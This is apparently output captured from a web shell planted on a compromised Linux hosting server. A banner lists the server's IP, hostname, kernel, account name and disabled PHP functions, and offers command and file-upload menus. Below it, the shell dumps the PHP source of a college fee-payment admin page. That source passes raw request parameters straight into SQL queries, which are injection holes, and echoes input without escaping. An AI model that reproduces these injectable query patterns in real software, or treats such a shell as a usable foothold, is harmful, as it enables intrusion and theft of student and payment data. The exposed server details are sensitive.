Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/demo.ncriptech.com/../websites/vtti.e-campus.co.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include ("include/makeSession.php"); $installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'"); $installment_id=mysqli_fetch_array($installment_id); $installment_id=$installment_id['menuper']; $menuper=explode(',',$installment_id); if(in_array('Manage Fee',$menuper)){ }else{ header("location:index.php"); } $_SESSION['page_name']="Fee"; include('include/function.php'); include("include/header.php"); include("include/sidebar.php"); if(isset($_REQUEST['upid']) && $_REQUEST['upid']!=''){ $dovalue="PaidMiscFee"; $doid=$_REQUEST['upid']; $upuserresult=mysqli_query($con,"select * from payinstallment where id='".$_REQUEST['upid']."'"); $upuserarr=mysqli_fetch_array($upuserresult); $installment_id=mysqli_query($con,"select * from setinstallment where id='".$upuserarr['installment_id']."'"); $installment_id=mysqli_fetch_array($installment_id); $upuserresult1=mysqli_query($con,"select * from admission_enquiry_form where student_id='".$installment_id['studentid']."'"); $upuserarr1=mysqli_fetch_array($upuserresult1); }else{ $dovalue="PaidMiscFee"; $doid=''; } ?> <style> table.t01 tr:nth-child(even) { background-color: #eee; } table.t01 tr:nth-child(odd) { background-color: #fff; } table.t01 th { background-color: black; color: white; } </style> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Pay Fee <small></small> </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Pay Fee</a></li> </ol> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-md-12"> <div class="box box-info"> <div class="box-header"> <h3 class="box-title">Pay Fee <small></small></h3> <!-- tools box --> <div class="pull-right box-tools"> <button class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button> <button class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> </div><!-- /.box-header --> <div class="box-body pad"> <div class="col-md-12"> <?php if(!empty($_SESSION['msg'])){ $msg=$_SESSION["msg"]; echo '<div class="col-md-12"> <div class="alert alert-success alert-dismissible"> <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a> '.$msg.' </div>'; $_SESSION["msg"]='';} ?> <div class="col-md-12"> <form action="" method="post" > <select class="form-control col-md-3" style="width:200px;" name="" id="selectoption"> <option>--Select Option--</option> <option value="0">Pay MISC</option> <option value="1">Pay Installment</option> <option value="2">Pay Admission Fee</option> </select><br/><br/> <input type="text" name="mobile" id='moblies' width='20%' style="display:none;" placeholder="Search By Mobile No " value="<?php if(!empty($_POST['mobile'])){ echo $_POST['mobile']; }else{ } ?>" class="form-control col-md-3" style="width:300px;" /> <input type="text" name="student" id='student' width='20%' style="display:none;" placeholder="Search By Student Id " value="<?php if(!empty($_POST['mobile'])){ echo $_POST['mobile']; }else{ } ?>" class="form-control col-md-3" style="width:300px;" /> <input type="submit" value="Search" class="btn btn-primary"/> </div> </form> <?php $mobile=$_POST['mobile']; $student=$_POST['student']; if(!empty($student)){ $upuserresult1o=mysqli_query($con, "select * from admission_enquiry_form where student_id='".$student."' and submitfee='0' "); $upuserarr1l=mysqli_fetch_array($upuserresult1o); $numwoo=mysqli_num_rows($upuserresult1o); //echo "<pre>"; //print_r($upuserarr1l); //echo "</pre>"; if($numwoo>0){ ?> <form method="post" action="action2.php" name="addcategory" id="addcategory" enctype="multipart/form-data" role="form"> <div class="form-group col-md-4"> <input type="hidden" name="do" value="PaidAdmissionFee" /> <input type="hidden" name="student_ids" value="<?php echo $upuserarr1l['student_id'];?>" /> <h3> Name : <?php echo $upuserarr1l['name']."</h3>";?> </div> <div class="form-group col-md-4"> <h3> Total Amount : <?php echo $upuserarr1l['totalfee']."</h3>";?> </div> <div class="form-group col-md-4"> <h3> Admission Fee : <?php echo $upuserarr1l['submitfee']."</h3>";?> </div> <div class="form-group col-md-4"> <h3>Admission Fee : <input type="number" name="admissionfee" class="form-control col-md-3" style="width:300px;" /> </div> <div class="box-footer col-md-12"> <input type="submit" class="btn btn-primary" name="ctl00$ContentPlaceHolder1$btnsave" value="Pay"/> <input type="reset" name="ctl00$ContentPlaceHolder1$btn_reset" value="Reset" id="ContentPlaceHolder1_btn_reset" class="btn btn-primary"> </div> </form> <?php }else{ echo "<center><h3 style='color:red;'>No Record Found !</h3></center>"; } } if(!empty($mobile)){ $upuserresult1=mysqli_query($con,"select * from admission_enquiry_form where mobileno='".$mobile."'"); $upuserarr1=mysqli_fetch_array($upuserresult1); ?> <div class="form-group col-md-4"> <h3> Student Id : <?php echo $upuserarr1['student_id']."</h3>";?> </div> <div class="form-group col-md-4"> <h3> Name : <?php echo $upuserarr1['name']."</h3>";?> </div> <div class="form-group col-md-4"> <h3> Total Amount : <?php echo $upuserarr1['totalfee']."</h3>";?> </div> <div class="form-group col-md-4"> <h3>TOTAL MICS Fee : <?php echo $upuserarr1['miscfeetotal']."</h3>";?> </div> <div class="form-group col-md-4"> <h3>Due Misc Fee : <?php echo $upuserarr1['duemiscfee']."</h3>";?> </div> <form method="post" action="action1.php" name="addcategory" id="addcategory" enctype="multipart/form-data" role="form"> <div class="form-group col-md-12"> <input type="hidden" name="do" value="<?php echo $dovalue;?>" /> <input type="hidden" name="doid1" value="<?php echo $doid;?>" /> <input type="hidden" name="UserID" value="<?php echo $_SESSION["ecomid"];?>" /> <input type="hidden" name="student_id" value="<?php echo $upuserarr1['student_id'];?>" /> <?php if($upuserarr1['duemiscfee']==0){ echo '<div class="form-group col-md-4"> <h3>Misc Amount Paid Done </div>'; }else{ ?> <div class="form-group col-md-2" style="margin-top:-19px;"> <h3>Amount : <input type="number" name="amount" class="form-control col-md-2" style="width:150px;" /> </div> <div class="form-group col-md-2"> <label>Payment Mode :</label> <select name="paymentmode" class="form-control" id="bankpa"> <option >-Select-</option> <option value="Cash" <?php if($upuserarr['paymentmode']=='Cash'){ echo 'selected';} ?>>Cash</option> <option value="Cheque" <?php if($upuserarr['paymentmode']=='Cheque'){ echo 'selected';} ?>>Cheque</option> </select> </div> <div class="form-group col-md-2"> <label>Bank Name:</label> <input name="bank_name" type="text" class="form-control" id="checkno" value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['bank_name'];}?>" placeholder="Bank Name"> </div> <div class="form-group col-md-2"> <label>Cheque No :</label> <input name="checkno" type="text" class="form-control" id="checkno" value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['check_no'];}?>" placeholder="Cheque No"> </div> <div class="form-group col-md-2"> <label>Deposit To :</label> <select name="bank" class="form-control subject" id='banknamfdg'> <option value="NA" class='asde'>-select-</option> <?php $CasteQuery=mysqli_query($con,"select * from bankdetails"); while($CasteRow=mysqli_fetch_array($CasteQuery)){ echo '<option value="'.$CasteRow['id'].'" '.($upuserarr['bank'] == $CasteRow['id'] ? 'selected="selected"' : '' ).' >'.$CasteRow['bankname'].'</option>'; } ?> </select> </div> </div> <div class="box-footer col-md-12"> <input type="submit" class="btn btn-primary" name="ctl00$ContentPlaceHolder1$btnsave" value="Pay"/> <input type="reset" name="ctl00$ContentPlaceHolder1$btn_reset" value="Reset" id="ContentPlaceHolder1_btn_reset" class="btn btn-primary"> </div> </div> </form> <?php } ?> <?php $setinstallmentq=mysqli_query($con,"select *,paymiscfee.id as ids from paymiscfee left JOIN admin ON paymiscfee.user_id=admin.id where paymiscfee.student_id='".$upuserarr1['student_id']."'"); $setinstallment=mysqli_num_rows($setinstallmentq); if($setinstallment>0){ echo "<table style='width:100%; margin-top:30px;' class='t01'>"; echo "<tr><th>Payment Date</th><th>Amount</th><th>Payment User</th> <th>View Recipt</th> <tr>"; while($setinstallment=mysqli_fetch_array($setinstallmentq)){ $ids=$setinstallment['ids']; echo "<tr><td>" . $setinstallment['created_at'] . "</td><td> " . $setinstallment['amount'] . "</td> <td> " . $setinstallment['username'] . "</td>" ?> <td> <a href='./paymiscfeericpts.php?upid=<?php echo $ids; ?>'><i class='fa fa-eye'></i></a></td> <?php echo "</tr>"; } echo "</table>"; }else{ echo "No MISC Fee Submit!"; } ?> <?php } ?> </div> </div> </div> </div><!-- /.box --> </div> <div class="modal fade" id="exampleModalCenter" tabindex="-1" role="dialog" aria-labelledby="exampleModalCenterTitle" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLongTitle">Modal title</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> ... </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> <button type="button" class="btn btn-primary">Save changes</button> </div> </div> </div> </div> <!-- /.col--> </div><!-- ./row --> </section><!-- /.content --> </div> <?php include('include/footer.php');?> <script> $('#selectoption').on('change',function(){ var vales=$('#selectoption :selected').val(); if(vales=='0'){ //alert(vales); $('#selectoption').css('display','none'); $('#moblies').css({'display':'block','width':'200px'}); }else{ $('#moblies').css({'display':'none','width':'200px'}); $('#selectoption').css('display','block'); } if(vales=='1'){ window.location='setinstallmentreports.php'; } if(vales=='2'){ //alert(vales); $('#selectoption').css('display','none'); $('#student').css({'display':'block','width':'200px'}); }else{ $('#student').css({'display':'none','width':'200px'}); $('#selectoption').css('display','block'); } }); </script>